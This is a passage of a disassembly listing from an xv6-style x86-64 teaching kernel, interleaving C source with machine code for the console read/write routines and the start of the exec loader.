ffff800000101265: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff80000010126c: 80 ff ff
ffff80000010126f: ff d0 callq *%rax
target = n;
ffff800000101271: 8b 45 e0 mov -0x20(%rbp),%eax
ffff800000101274: 89 45 fc mov %eax,-0x4(%rbp)
acquire(&input.lock);
ffff800000101277: 48 bf c0 33 11 00 00 movabs $0xffff8000001133c0,%rdi
ffff80000010127e: 80 ff ff
ffff800000101281: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000101288: 80 ff ff
ffff80000010128b: ff d0 callq *%rax
while(n > 0){
ffff80000010128d: e9 1a 01 00 00 jmpq ffff8000001013ac <consoleread+0x168>
while(input.r == input.w){
if (proc->killed) {
ffff800000101292: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101299: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010129d: 8b 40 40 mov 0x40(%rax),%eax
ffff8000001012a0: 85 c0 test %eax,%eax
ffff8000001012a2: 74 33 je ffff8000001012d7 <consoleread+0x93>
release(&input.lock);
ffff8000001012a4: 48 bf c0 33 11 00 00 movabs $0xffff8000001133c0,%rdi
ffff8000001012ab: 80 ff ff
ffff8000001012ae: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001012b5: 80 ff ff
ffff8000001012b8: ff d0 callq *%rax
ilock(ip);
ffff8000001012ba: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001012be: 48 89 c7 mov %rax,%rdi
ffff8000001012c1: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff8000001012c8: 80 ff ff
ffff8000001012cb: ff d0 callq *%rax
return -1;
ffff8000001012cd: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001012d2: e9 18 01 00 00 jmpq ffff8000001013ef <consoleread+0x1ab>
}
sleep(&input.r, &input.lock);
ffff8000001012d7: 48 be c0 33 11 00 00 movabs $0xffff8000001133c0,%rsi
ffff8000001012de: 80 ff ff
ffff8000001012e1: 48 bf a8 34 11 00 00 movabs $0xffff8000001134a8,%rdi
ffff8000001012e8: 80 ff ff
ffff8000001012eb: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff8000001012f2: 80 ff ff
ffff8000001012f5: ff d0 callq *%rax
while(input.r == input.w){
ffff8000001012f7: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff8000001012fe: 80 ff ff
ffff800000101301: 8b 90 e8 00 00 00 mov 0xe8(%rax),%edx
ffff800000101307: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff80000010130e: 80 ff ff
ffff800000101311: 8b 80 ec 00 00 00 mov 0xec(%rax),%eax
ffff800000101317: 39 c2 cmp %eax,%edx
ffff800000101319: 0f 84 73 ff ff ff je ffff800000101292 <consoleread+0x4e>
}
c = input.buf[input.r++ % INPUT_BUF];
ffff80000010131f: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101326: 80 ff ff
ffff800000101329: 8b 80 e8 00 00 00 mov 0xe8(%rax),%eax
ffff80000010132f: 8d 50 01 lea 0x1(%rax),%edx
ffff800000101332: 48 b9 c0 33 11 00 00 movabs $0xffff8000001133c0,%rcx
ffff800000101339: 80 ff ff
ffff80000010133c: 89 91 e8 00 00 00 mov %edx,0xe8(%rcx)
ffff800000101342: 83 e0 7f and $0x7f,%eax
ffff800000101345: 89 c2 mov %eax,%edx
ffff800000101347: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff80000010134e: 80 ff ff
ffff800000101351: 89 d2 mov %edx,%edx
ffff800000101353: 0f b6 44 10 68 movzbl 0x68(%rax,%rdx,1),%eax
ffff800000101358: 0f be c0 movsbl %al,%eax
ffff80000010135b: 89 45 f8 mov %eax,-0x8(%rbp)
if (c == C('D')) { // EOF
ffff80000010135e: 83 7d f8 04 cmpl $0x4,-0x8(%rbp)
ffff800000101362: 75 2d jne ffff800000101391 <consoleread+0x14d>
if (n < target) {
ffff800000101364: 8b 45 e0 mov -0x20(%rbp),%eax
ffff800000101367: 39 45 fc cmp %eax,-0x4(%rbp)
ffff80000010136a: 76 4c jbe ffff8000001013b8 <consoleread+0x174>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
ffff80000010136c: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101373: 80 ff ff
ffff800000101376: 8b 80 e8 00 00 00 mov 0xe8(%rax),%eax
ffff80000010137c: 8d 50 ff lea -0x1(%rax),%edx
ffff80000010137f: 48 b8 c0 33 11 00 00 movabs $0xffff8000001133c0,%rax
ffff800000101386: 80 ff ff
ffff800000101389: 89 90 e8 00 00 00 mov %edx,0xe8(%rax)
}
break;
ffff80000010138f: eb 27 jmp ffff8000001013b8 <consoleread+0x174>
}
*dst++ = c;
ffff800000101391: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000101395: 48 8d 50 01 lea 0x1(%rax),%rdx
ffff800000101399: 48 89 55 d8 mov %rdx,-0x28(%rbp)
ffff80000010139d: 8b 55 f8 mov -0x8(%rbp),%edx
ffff8000001013a0: 88 10 mov %dl,(%rax)
--n;
ffff8000001013a2: 83 6d e0 01 subl $0x1,-0x20(%rbp)
if (c == '\n')
ffff8000001013a6: 83 7d f8 0a cmpl $0xa,-0x8(%rbp)
ffff8000001013aa: 74 0f je ffff8000001013bb <consoleread+0x177>
while(n > 0){
ffff8000001013ac: 83 7d e0 00 cmpl $0x0,-0x20(%rbp)
ffff8000001013b0: 0f 8f 41 ff ff ff jg ffff8000001012f7 <consoleread+0xb3>
ffff8000001013b6: eb 04 jmp ffff8000001013bc <consoleread+0x178>
break;
ffff8000001013b8: 90 nop
ffff8000001013b9: eb 01 jmp ffff8000001013bc <consoleread+0x178>
break;
ffff8000001013bb: 90 nop
}
release(&input.lock);
ffff8000001013bc: 48 bf c0 33 11 00 00 movabs $0xffff8000001133c0,%rdi
ffff8000001013c3: 80 ff ff
ffff8000001013c6: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001013cd: 80 ff ff
ffff8000001013d0: ff d0 callq *%rax
ilock(ip);
ffff8000001013d2: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001013d6: 48 89 c7 mov %rax,%rdi
ffff8000001013d9: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff8000001013e0: 80 ff ff
ffff8000001013e3: ff d0 callq *%rax
return target - n;
ffff8000001013e5: 8b 45 e0 mov -0x20(%rbp),%eax
ffff8000001013e8: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001013eb: 29 c2 sub %eax,%edx
ffff8000001013ed: 89 d0 mov %edx,%eax
}
ffff8000001013ef: c9 leaveq
ffff8000001013f0: c3 retq
ffff8000001013f1 <consolewrite>:
int
consolewrite(struct inode *ip, uint off, char *buf, int n)
{
ffff8000001013f1: f3 0f 1e fa endbr64
ffff8000001013f5: 55 push %rbp
ffff8000001013f6: 48 89 e5 mov %rsp,%rbp
ffff8000001013f9: 48 83 ec 30 sub $0x30,%rsp
ffff8000001013fd: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000101401: 89 75 e4 mov %esi,-0x1c(%rbp)
ffff800000101404: 48 89 55 d8 mov %rdx,-0x28(%rbp)
ffff800000101408: 89 4d e0 mov %ecx,-0x20(%rbp)
int i;
iunlock(ip);
ffff80000010140b: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010140f: 48 89 c7 mov %rax,%rdi
ffff800000101412: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000101419: 80 ff ff
ffff80000010141c: ff d0 callq *%rax
acquire(&cons.lock);
ffff80000010141e: 48 bf c0 34 11 00 00 movabs $0xffff8000001134c0,%rdi
ffff800000101425: 80 ff ff
ffff800000101428: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff80000010142f: 80 ff ff
ffff800000101432: ff d0 callq *%rax
for(i = 0; i < n; i++)
ffff800000101434: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff80000010143b: eb 28 jmp ffff800000101465 <consolewrite+0x74>
consputc(buf[i] & 0xff);
ffff80000010143d: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000101440: 48 63 d0 movslq %eax,%rdx
ffff800000101443: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000101447: 48 01 d0 add %rdx,%rax
ffff80000010144a: 0f b6 00 movzbl (%rax),%eax
ffff80000010144d: 0f be c0 movsbl %al,%eax
ffff800000101450: 0f b6 c0 movzbl %al,%eax
ffff800000101453: 89 c7 mov %eax,%edi
ffff800000101455: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff80000010145c: 80 ff ff
ffff80000010145f: ff d0 callq *%rax
for(i = 0; i < n; i++)
ffff800000101461: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000101465: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000101468: 3b 45 e0 cmp -0x20(%rbp),%eax
ffff80000010146b: 7c d0 jl ffff80000010143d <consolewrite+0x4c>
release(&cons.lock);
ffff80000010146d: 48 bf c0 34 11 00 00 movabs $0xffff8000001134c0,%rdi
ffff800000101474: 80 ff ff
ffff800000101477: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010147e: 80 ff ff
ffff800000101481: ff d0 callq *%rax
ilock(ip);
ffff800000101483: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000101487: 48 89 c7 mov %rax,%rdi
ffff80000010148a: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000101491: 80 ff ff
ffff800000101494: ff d0 callq *%rax
return n;
ffff800000101496: 8b 45 e0 mov -0x20(%rbp),%eax
}
ffff800000101499: c9 leaveq
ffff80000010149a: c3 retq
ffff80000010149b <consoleinit>:
void
consoleinit(void)
{
ffff80000010149b: f3 0f 1e fa endbr64
ffff80000010149f: 55 push %rbp
ffff8000001014a0: 48 89 e5 mov %rsp,%rbp
initlock(&cons.lock, "console");
ffff8000001014a3: 48 be 0b c5 10 00 00 movabs $0xffff80000010c50b,%rsi
ffff8000001014aa: 80 ff ff
ffff8000001014ad: 48 bf c0 34 11 00 00 movabs $0xffff8000001134c0,%rdi
ffff8000001014b4: 80 ff ff
ffff8000001014b7: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff8000001014be: 80 ff ff
ffff8000001014c1: ff d0 callq *%rax
initlock(&input.lock, "input");
ffff8000001014c3: 48 be 13 c5 10 00 00 movabs $0xffff80000010c513,%rsi
ffff8000001014ca: 80 ff ff
ffff8000001014cd: 48 bf c0 33 11 00 00 movabs $0xffff8000001133c0,%rdi
ffff8000001014d4: 80 ff ff
ffff8000001014d7: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff8000001014de: 80 ff ff
ffff8000001014e1: ff d0 callq *%rax
devsw[CONSOLE].write = consolewrite;
ffff8000001014e3: 48 b8 40 35 11 00 00 movabs $0xffff800000113540,%rax
ffff8000001014ea: 80 ff ff
ffff8000001014ed: 48 ba f1 13 10 00 00 movabs $0xffff8000001013f1,%rdx
ffff8000001014f4: 80 ff ff
ffff8000001014f7: 48 89 50 18 mov %rdx,0x18(%rax)
devsw[CONSOLE].read = consoleread;
ffff8000001014fb: 48 b8 40 35 11 00 00 movabs $0xffff800000113540,%rax
ffff800000101502: 80 ff ff
ffff800000101505: 48 b9 44 12 10 00 00 movabs $0xffff800000101244,%rcx
ffff80000010150c: 80 ff ff
ffff80000010150f: 48 89 48 10 mov %rcx,0x10(%rax)
cons.locking = 1;
ffff800000101513: 48 b8 c0 34 11 00 00 movabs $0xffff8000001134c0,%rax
ffff80000010151a: 80 ff ff
ffff80000010151d: c7 40 68 01 00 00 00 movl $0x1,0x68(%rax)
ioapicenable(IRQ_KBD, 0);
ffff800000101524: be 00 00 00 00 mov $0x0,%esi
ffff800000101529: bf 01 00 00 00 mov $0x1,%edi
ffff80000010152e: 48 b8 e5 3f 10 00 00 movabs $0xffff800000103fe5,%rax
ffff800000101535: 80 ff ff
ffff800000101538: ff d0 callq *%rax
}
ffff80000010153a: 90 nop
ffff80000010153b: 5d pop %rbp
ffff80000010153c: c3 retq
ffff80000010153d <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
ffff80000010153d: f3 0f 1e fa endbr64
ffff800000101541: 55 push %rbp
ffff800000101542: 48 89 e5 mov %rsp,%rbp
ffff800000101545: 48 81 ec 00 02 00 00 sub $0x200,%rsp
ffff80000010154c: 48 89 bd 08 fe ff ff mov %rdi,-0x1f8(%rbp)
ffff800000101553: 48 89 b5 00 fe ff ff mov %rsi,-0x200(%rbp)
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
oldpgdir = proc->pgdir;
ffff80000010155a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000101561: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000101565: 48 8b 40 08 mov 0x8(%rax),%rax
ffff800000101569: 48 89 45 b8 mov %rax,-0x48(%rbp)
begin_op();
ffff80000010156d: b8 00 00 00 00 mov $0x0,%eax
ffff800000101572: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff800000101579: 80 ff ff
ffff80000010157c: ff d2 callq *%rdx
if((ip = namei(path)) == 0){
ffff80000010157e: 48 8b 85 08 fe ff ff mov -0x1f8(%rbp),%rax
ffff800000101585: 48 89 c7 mov %rax,%rdi
ffff800000101588: 48 b8 ff 37 10 00 00 movabs $0xffff8000001037ff,%rax
ffff80000010158f: 80 ff ff
ffff800000101592: ff d0 callq *%rax
ffff800000101594: 48 89 45 c8 mov %rax,-0x38(%rbp)
ffff800000101598: 48 83 7d c8 00 cmpq $0x0,-0x38(%rbp)
ffff80000010159d: 75 1b jne ffff8000001015ba <exec+0x7d>
end_op();
ffff80000010159f: b8 00 00 00 00 mov $0x0,%eax
ffff8000001015a4: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff8000001015ab: 80 ff ff
ffff8000001015ae: ff d2 callq *%rdx
return -1;
ffff8000001015b0: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001015b5: e9 9d 05 00 00 jmpq ffff800000101b57 <exec+0x61a>
}
ilock(ip);
ffff8000001015ba: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff8000001015be: 48 89 c7 mov %rax,%rdi
ffff8000001015c1: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff8000001015c8: 80 ff ff
ffff8000001015cb: ff d0 callq *%rax
pgdir = 0;
ffff8000001015cd: 48 c7 45 c0 00 00 00 movq $0x0,-0x40(%rbp)
ffff8000001015d4: 00
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
ffff8000001015d5: 48 8d b5 50 fe ff ff lea -0x1b0(%rbp),%rsi
ffff8000001015dc: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff8000001015e0: b9 40 00 00 00 mov $0x40,%ecx
ffff8000001015e5: ba 00 00 00 00 mov $0x0,%edx
ffff8000001015ea: 48 89 c7 mov %rax,%rdi
ffff8000001015ed: 48 b8 51 2f 10 00 00 movabs $0xffff800000102f51,%rax
ffff8000001015f4: 80 ff ff
ffff8000001015f7: ff d0 callq *%rax
ffff8000001015f9: 83 f8 40 cmp $0x40,%eax
ffff8000001015fc: 0f 85 e6 04 00 00 jne ffff800000101ae8 <exec+0x5ab>
goto bad;
if(elf.magic != ELF_MAGIC)
ffff800000101602: 8b 85 50 fe ff ff mov -0x1b0(%rbp),%eax
ffff800000101608: 3d 7f 45 4c 46 cmp $0x464c457f,%eax
ffff80000010160d: 0f 85 d8 04 00 00 jne ffff800000101aeb <exec+0x5ae>
goto bad;
if((pgdir = setupkvm()) == 0)
ffff800000101613: 48 b8 42 b2 10 00 00 movabs $0xffff80000010b242,%rax
ffff80000010161a: 80 ff ff
ffff80000010161d: ff d0 callq *%rax
ffff80000010161f: 48 89 45 c0 mov %rax,-0x40(%rbp)
ffff800000101623: 48 83 7d c0 00 cmpq $0x0,-0x40(%rbp)
ffff800000101628: 0f 84 c0 04 00 00 je ffff800000101aee <exec+0x5b1>
goto bad;
// Load program into memory.
sz = PGSIZE; // skip the first page
ffff80000010162e: 48 c7 45 d8 00 10 00 movq $0x1000,-0x28(%rbp)
ffff800000101635: 00
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
ffff800000101636: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
ffff80000010163d: 48 8b 85 70 fe ff ff mov -0x190(%rbp),%rax
ffff800000101644: 89 45 e8 mov %eax,-0x18(%rbp)
ffff800000101647: e9 0f 01 00 00 jmpq ffff80000010175b <exec+0x21e>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
ffff80000010164c: 8b 55 e8 mov -0x18(%rbp),%edx
ffff80000010164f: 48 8d b5 10 fe ff ff lea -0x1f0(%rbp),%rsi
ffff800000101656: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010165a: b9 38 00 00 00 mov $0x38,%ecx
ffff80000010165f: 48 89 c7 mov %rax,%rdi
ffff800000101662: 48 b8 51 2f 10 00 00 movabs $0xffff800000102f51,%rax
ffff800000101669: 80 ff ff
ffff80000010166c: ff d0 callq *%rax
ffff80000010166e: 83 f8 38 cmp $0x38,%eax
ffff800000101671: 0f 85 7a 04 00 00 jne ffff800000101af1 <exec+0x5b4>
goto bad;
if(ph.type != ELF_PROG_LOAD)
ffff800000101677: 8b 85 10 fe ff ff mov -0x1f0(%rbp),%eax
ffff80000010167d: 83 f8 01 cmp $0x1,%eax
ffff800000101680: 0f 85 c7 00 00 00 jne ffff80000010174d <exec+0x210>
continue;
if(ph.memsz < ph.filesz)
ffff800000101686: 48 8b 95 38 fe ff ff mov -0x1c8(%rbp),%rdx
ffff80000010168d: 48 8b 85 30 fe ff ff mov -0x1d0(%rbp),%rax
ffff800000101694: 48 39 c2 cmp %rax,%rdx
ffff800000101697: 0f 82 57 04 00 00 jb ffff800000101af4 <exec+0x5b7>
goto bad;
if(ph.vaddr + ph.memsz < ph.vaddr)
ffff80000010169d: 48 8b 95 20 fe ff ff mov -0x1e0(%rbp),%rdx
ffff8000001016a4: 48 8b 85 38 fe ff ff mov -0x1c8(%rbp),%rax
ffff8000001016ab: 48 01 c2 add %rax,%rdx
ffff8000001016ae: 48 8b 85 20 fe ff ff mov -0x1e0(%rbp),%rax
ffff8000001016b5: 48 39 c2 cmp %rax,%rdx
ffff8000001016b8: 0f 82 39 04 00 00 jb ffff800000101af7 <exec+0x5ba>
goto bad;
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
ffff8000001016be: 48 8b 95 20 fe ff ff mov -0x1e0(%rbp),%rdx
ffff8000001016c5: 48 8b 85 38 fe ff ff mov -0x1c8(%rbp),%rax
ffff8000001016cc: 48 01 c2 add %rax,%rdx
ffff8000001016cf: 48 8b 4d d8 mov -0x28(%rbp),%rcx
ffff8000001016d3: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff8000001016d7: 48 89 ce mov %rcx,%rsi
ffff8000001016da: 48 89 c7 mov %rax,%rdi
ffff8000001016dd: 48 b8 aa b9 10 00 00 movabs $0xffff80000010b9aa,%rax
ffff8000001016e4: 80 ff ff
ffff8000001016e7: ff d0 callq *%rax
ffff8000001016e9: 48 89 45 d8 mov %rax,-0x28(%rbp)
ffff8000001016ed: 48 83 7d d8 00 cmpq $0x0,-0x28(%rbp)
ffff8000001016f2: 0f 84 02 04 00 00 je ffff800000101afa <exec+0x5bd>
goto bad;
if(ph.vaddr % PGSIZE != 0)
ffff8000001016f8: 48 8b 85 20 fe ff ff mov -0x1e0(%rbp),%rax
ffff8000001016ff: 25 ff 0f 00 00 and $0xfff,%eax
ffff800000101704: 48 85 c0 test %rax,%rax
ffff800000101707: 0f 85 f0 03 00 00 jne ffff800000101afd <exec+0x5c0>
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
ffff80000010170d: 48 8b 85 30 fe ff ff mov -0x1d0(%rbp),%rax
ffff800000101714: 89 c7 mov %eax,%edi
ffff800000101716: 48 8b 85 18 fe ff ff mov -0x1e8(%rbp),%rax
ffff80000010171d: 89 c1 mov %eax,%ecx
ffff80000010171f: 48 8b 85 20 fe ff ff mov -0x1e0(%rbp),%rax
ffff800000101726: 48 89 c6 mov %rax,%rsi
ffff800000101729: 48 8b 55 c8 mov -0x38(%rbp),%rdx
ffff80000010172d: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff800000101731: 41 89 f8 mov %edi,%r8d
ffff800000101734: 48 89 c7 mov %rax,%rdi
ffff800000101737: 48 b8 84 b8 10 00 00 movabs $0xffff80000010b884,%rax
ffff80000010173e: 80 ff ff
ffff800000101741: ff d0 callq *%rax
ffff800000101743: 85 c0 test %eax,%eax
ffff800000101745: 0f 88 b5 03 00 00 js ffff800000101b00 <exec+0x5c3>
ffff80000010174b: eb 01 jmp ffff80000010174e <exec+0x211>
continue;
ffff80000010174d: 90 nop
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
ffff80000010174e: 83 45 ec 01 addl $0x1,-0x14(%rbp)
ffff800000101752: 8b 45 e8 mov -0x18(%rbp),%eax
ffff800000101755: 83 c0 38 add $0x38,%eax
ffff800000101758: 89 45 e8 mov %eax,-0x18(%rbp)
ffff80000010175b: 0f b7 85 88 fe ff ff movzwl -0x178(%rbp),%eax
ffff800000101762: 0f b7 c0 movzwl %ax,%eax
ffff800000101765: 39 45 ec cmp %eax,-0x14(%rbp)
ffff800000101768: 0f 8c de fe ff ff jl ffff80000010164c <exec+0x10f>
goto bad;
}
iunlockput(ip);
ffff80000010176e: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff800000101772: 48 89 c7 mov %rax,%rdi
ffff800000101775: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff80000010177c: 80 ff ff
ffff80000010177f: ff d0 callq *%rax
end_op();
ffff800000101781: b8 00 00 00 00 mov $0x0,%eax
ffff800000101786: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff80000010178d: 80 ff ff
ffff800000101790: ff d2 callq *%rdx
ip = 0;
ffff800000101792: 48 c7 45 c8 00 00 00 movq $0x0,-0x38(%rbp)
ffff800000101799: 00
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
ffff80000010179a: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010179e: 48 05 ff 0f 00 00 add $0xfff,%rax
ffff8000001017a4: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff8000001017aa: 48 89 45 d8 mov %rax,-0x28(%rbp)
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
ffff8000001017ae: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001017b2: 48 8d 90 00 20 00 00 lea 0x2000(%rax),%rdx
ffff8000001017b9: 48 8b 4d d8 mov -0x28(%rbp),%rcx
ffff8000001017bd: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff8000001017c1: 48 89 ce mov %rcx,%rsi
ffff8000001017c4: 48 89 c7 mov %rax,%rdi
ffff8000001017c7: 48 b8 aa b9 10 00 00 movabs $0xffff80000010b9aa,%rax
ffff8000001017ce: 80 ff ff
ffff8000001017d1: ff d0 callq *%rax
ffff8000001017d3: 48 89 45 d8 mov %rax,-0x28(%rbp)
ffff8000001017d7: 48 83 7d d8 00 cmpq $0x0,-0x28(%rbp)
ffff8000001017dc: 0f 84 21 03 00 00 je ffff800000101b03 <exec+0x5c6>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
ffff8000001017e2: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001017e6: 48 2d 00 20 00 00 sub $0x2000,%rax
ffff8000001017ec: 48 89 c2 mov %rax,%rdx
ffff8000001017ef: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff8000001017f3: 48 89 d6 mov %rdx,%rsi
ffff8000001017f6: 48 89 c7 mov %rax,%rdi
ffff8000001017f9: 48 b8 24 be 10 00 00 movabs $0xffff80000010be24,%rax
ffff800000101800: 80 ff ff
ffff800000101803: ff d0 callq *%rax
sp = sz;
ffff800000101805: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000101809: 48 89 45 d0 mov %rax,-0x30(%rbp)
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
ffff80000010180d: 48 c7 45 e0 00 00 00 movq $0x0,-0x20(%rbp)
ffff800000101814: 00
ffff800000101815: e9 c9 00 00 00 jmpq ffff8000001018e3 <exec+0x3a6>
if(argc >= MAXARG)
ffff80000010181a: 48 83 7d e0 1f cmpq $0x1f,-0x20(%rbp)
ffff80000010181f: 0f 87 e1 02 00 00 ja ffff800000101b06 <exec+0x5c9>
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~(sizeof(addr_t)-1);
ffff800000101825: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101829: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff800000101830: 00
ffff800000101831: 48 8b 85 00 fe ff ff mov -0x200(%rbp),%rax
ffff800000101838: 48 01 d0 add %rdx,%rax
ffff80000010183b: 48 8b 00 mov (%rax),%rax
ffff80000010183e: 48 89 c7 mov %rax,%rdi
ffff800000101841: 48 b8 39 7f 10 00 00 movabs $0xffff800000107f39,%rax
ffff800000101848: 80 ff ff
ffff80000010184b: ff d0 callq *%rax
ffff80000010184d: 83 c0 01 add $0x1,%eax
ffff800000101850: 48 98 cltq
ffff800000101852: 48 8b 55 d0 mov -0x30(%rbp),%rdx
ffff800000101856: 48 29 c2 sub %rax,%rdx
ffff800000101859: 48 89 d0 mov %rdx,%rax
ffff80000010185c: 48 83 e0 f8 and $0xfffffffffffffff8,%rax
ffff800000101860: 48 89 45 d0 mov %rax,-0x30(%rbp)
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
ffff800000101864: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101868: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010186f: 00
ffff800000101870: 48 8b 85 00 fe ff ff mov -0x200(%rbp),%rax
ffff800000101877: 48 01 d0 add %rdx,%rax
ffff80000010187a: 48 8b 00 mov (%rax),%rax
ffff80000010187d: 48 89 c7 mov %rax,%rdi
ffff800000101880: 48 b8 39 7f 10 00 00 movabs $0xffff800000107f39,%rax
ffff800000101887: 80 ff ff
ffff80000010188a: ff d0 callq *%rax
ffff80000010188c: 83 c0 01 add $0x1,%eax
ffff80000010188f: 48 63 c8 movslq %eax,%rcx
ffff800000101892: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101896: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010189d: 00
ffff80000010189e: 48 8b 85 00 fe ff ff mov -0x200(%rbp),%rax
ffff8000001018a5: 48 01 d0 add %rdx,%rax
ffff8000001018a8: 48 8b 10 mov (%rax),%rdx
ffff8000001018ab: 48 8b 75 d0 mov -0x30(%rbp),%rsi
ffff8000001018af: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff8000001018b3: 48 89 c7 mov %rax,%rdi
ffff8000001018b6: 48 b8 99 c0 10 00 00 movabs $0xffff80000010c099,%rax
ffff8000001018bd: 80 ff ff
ffff8000001018c0: ff d0 callq *%rax
ffff8000001018c2: 85 c0 test %eax,%eax
ffff8000001018c4: 0f 88 3f 02 00 00 js ffff800000101b09 <exec+0x5cc>
goto bad;
ustack[3+argc] = sp;
ffff8000001018ca: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001018ce: 48 8d 50 03 lea 0x3(%rax),%rdx
ffff8000001018d2: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff8000001018d6: 48 89 84 d5 90 fe ff mov %rax,-0x170(%rbp,%rdx,8)
ffff8000001018dd: ff
for(argc = 0; argv[argc]; argc++) {
ffff8000001018de: 48 83 45 e0 01 addq $0x1,-0x20(%rbp)
ffff8000001018e3: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001018e7: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff8000001018ee: 00
ffff8000001018ef: 48 8b 85 00 fe ff ff mov -0x200(%rbp),%rax
ffff8000001018f6: 48 01 d0 add %rdx,%rax
ffff8000001018f9: 48 8b 00 mov (%rax),%rax
ffff8000001018fc: 48 85 c0 test %rax,%rax
ffff8000001018ff: 0f 85 15 ff ff ff jne ffff80000010181a <exec+0x2dd>
}
ustack[3+argc] = 0;
ffff800000101905: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101909: 48 83 c0 03 add $0x3,%rax
ffff80000010190d: 48 c7 84 c5 90 fe ff movq $0x0,-0x170(%rbp,%rax,8)
ffff800000101914: ff 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
ffff800000101919: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010191e: 48 89 85 90 fe ff ff mov %rax,-0x170(%rbp)
ustack[1] = argc;
ffff800000101925: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000101929: 48 89 85 98 fe ff ff mov %rax,-0x168(%rbp)
